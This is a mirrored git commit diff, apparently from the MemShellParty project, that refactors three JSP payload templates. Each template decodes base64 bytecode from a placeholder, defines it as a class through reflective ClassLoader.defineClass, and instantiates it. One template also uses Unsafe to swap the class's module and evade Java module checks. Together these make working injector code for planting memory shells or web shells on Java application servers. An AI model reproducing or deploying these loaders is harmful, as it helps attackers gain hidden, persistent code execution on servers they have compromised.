mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: simplify payload
This commit is contained in:
@@ -1,10 +1,3 @@
|
|||||||
<%@ page import="java.lang.*" %>
|
|
||||||
<%@ page import="java.lang.Class" %>
|
|
||||||
<%@ page import="java.lang.ClassLoader" %>
|
|
||||||
<%@ page import="java.lang.ClassNotFoundException" %>
|
|
||||||
<%@ page import="java.lang.Object" %>
|
|
||||||
<%@ page import="java.lang.String" %>
|
|
||||||
<%@ page import="java.lang.Thread" %>
|
|
||||||
<%!
|
<%!
|
||||||
public static class ClassDefiner extends ClassLoader {
|
public static class ClassDefiner extends ClassLoader {
|
||||||
public ClassDefiner(ClassLoader classLoader) {
|
public ClassDefiner(ClassLoader classLoader) {
|
||||||
|
|||||||
@@ -1,24 +1,16 @@
|
|||||||
<%@ page import="java.lang.*" %>
|
|
||||||
<%@ page import="java.lang.Class" %>
|
|
||||||
<%@ page import="java.lang.ClassLoader" %>
|
|
||||||
<%@ page import="java.lang.ClassNotFoundException" %>
|
|
||||||
<%@ page import="java.lang.Object" %>
|
|
||||||
<%@ page import="java.lang.String" %>
|
|
||||||
<%@ page import="java.lang.Thread" %>
|
|
||||||
<%
|
<%
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
String base64Str = "{{base64Str}}";
|
String base64Str = "{{base64Str}}";
|
||||||
byte[] bytecode = null;
|
byte[] bytecode = null;
|
||||||
try {
|
try {
|
||||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
Class base64Clz = Class.forName("java.util.Base64");
|
||||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
} catch (ClassNotFoundException ee) {
|
} catch (ClassNotFoundException ee) {
|
||||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
|
||||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
}
|
}
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
|
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
||||||
clazz.newInstance();
|
clazz.newInstance();
|
||||||
%>
|
%>
|
||||||
@@ -1,25 +1,4 @@
|
|||||||
<%@ page import="java.lang.*" %>
|
|
||||||
<%@ page import="java.lang.Class" %>
|
|
||||||
<%@ page import="java.lang.ClassLoader" %>
|
|
||||||
<%@ page import="java.lang.ClassNotFoundException" %>
|
|
||||||
<%@ page import="java.lang.Integer" %>
|
|
||||||
<%@ page import="java.lang.Long" %>
|
|
||||||
<%@ page import="java.lang.Object" %>
|
|
||||||
<%@ page import="java.lang.String" %>
|
|
||||||
<%@ page import="java.lang.Thread" %>
|
|
||||||
<%@ page import="java.lang.Throwable" %>
|
|
||||||
<%
|
<%
|
||||||
String base64Str = "{{base64Str}}";
|
|
||||||
byte[] bytecode = null;
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
|
||||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
|
||||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (ClassNotFoundException ee) {
|
|
||||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
|
||||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
|
||||||
}
|
|
||||||
Object unsafe = null;
|
Object unsafe = null;
|
||||||
Object rawModule = null;
|
Object rawModule = null;
|
||||||
long offset = 48;
|
long offset = 48;
|
||||||
@@ -37,10 +16,19 @@
|
|||||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
|
}
|
||||||
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
defMethod.setAccessible(true);
|
defMethod.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
|
Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
||||||
if (getAndSetObjectM != null) {
|
if (getAndSetObjectM != null) {
|
||||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user